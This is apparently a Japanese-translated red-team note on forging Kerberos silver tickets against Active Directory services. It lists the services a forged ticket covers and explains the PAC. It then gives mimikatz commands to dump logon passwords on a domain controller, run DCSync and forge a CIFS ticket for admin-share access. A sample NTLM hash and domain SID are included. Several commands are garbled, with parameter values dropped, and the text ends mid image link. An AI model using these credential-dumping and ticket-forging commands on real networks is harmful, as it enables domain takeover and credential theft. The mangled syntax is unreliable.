サービス名 同時に必要なサービス WMI HOST、RPCSS PowerShell Remoting HOST、HTTP WinRM HOST、HTTP Scheduled Tasks HOST Windows File Share CIFS LDAP LDAP Windows Remote Server RPCSS、LDAP、CIFS
上記以外のターゲットマシンは PAC（特権属性証明書）検証を有効にできず、PAC はクライアントとサーバー間の相互作用段階で認証に使用され、署名が含まれています。krbtgt のハッシュやサービスのハッシュがなければ、有効な署名を偽造することはできません。（MS14-068 を回避できます）
#ドメインコントローラーで mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > 1.txt #他のマシンのドメイン管理者アカウントで dcsync を実行することもでき、ユーザーはドメインコントローラーのマシン名を入力します。 mimikatz.exe "privilege::debug" "lsadump::dcsync /domain.testlab /user$" "exit" > 1.txt

e49051446e697bb3f91bac430da93c3e
S-1-5-21-767623950-3225260823-3670188588

CIFS の偽造#

CIFS 権限を偽造します。CIFS はホスト間のファイル共有に一般的に使用されます。
#mimikatz.exe "kerberos::golden /domain: ドメイン名 /sid: ドメイン SID /target: ターゲットの FQDN /service: サービスタイプ /rc4ハッシュ /user: 偽造するユーザー名 /ptt" mimikatz.exe ”kerberos::golden /domain.com /sid /target.redteam.com /service /rc4 /user /ptt“ * /domain：ドメイン名 * /sid ；sid 値 * /target：ドメインコントローラーの完全な名前 * /service：関連するサービス名を指定する必要があります。ここでは cifs * /rc4: ドメインコントローラーのコンピュータアカウント ntlm ハッシュ * /user：偽造するユーザー名、任意に記入 dir \dc\c$
![](https://cdn.nlark.com/yuque/0/2023/png/21847644/1679483178247-1bdfd96d-65cf-4e17-962e-c96323f4fbbe.png#from=url&id=wrahc&originalType=binary&ratio=1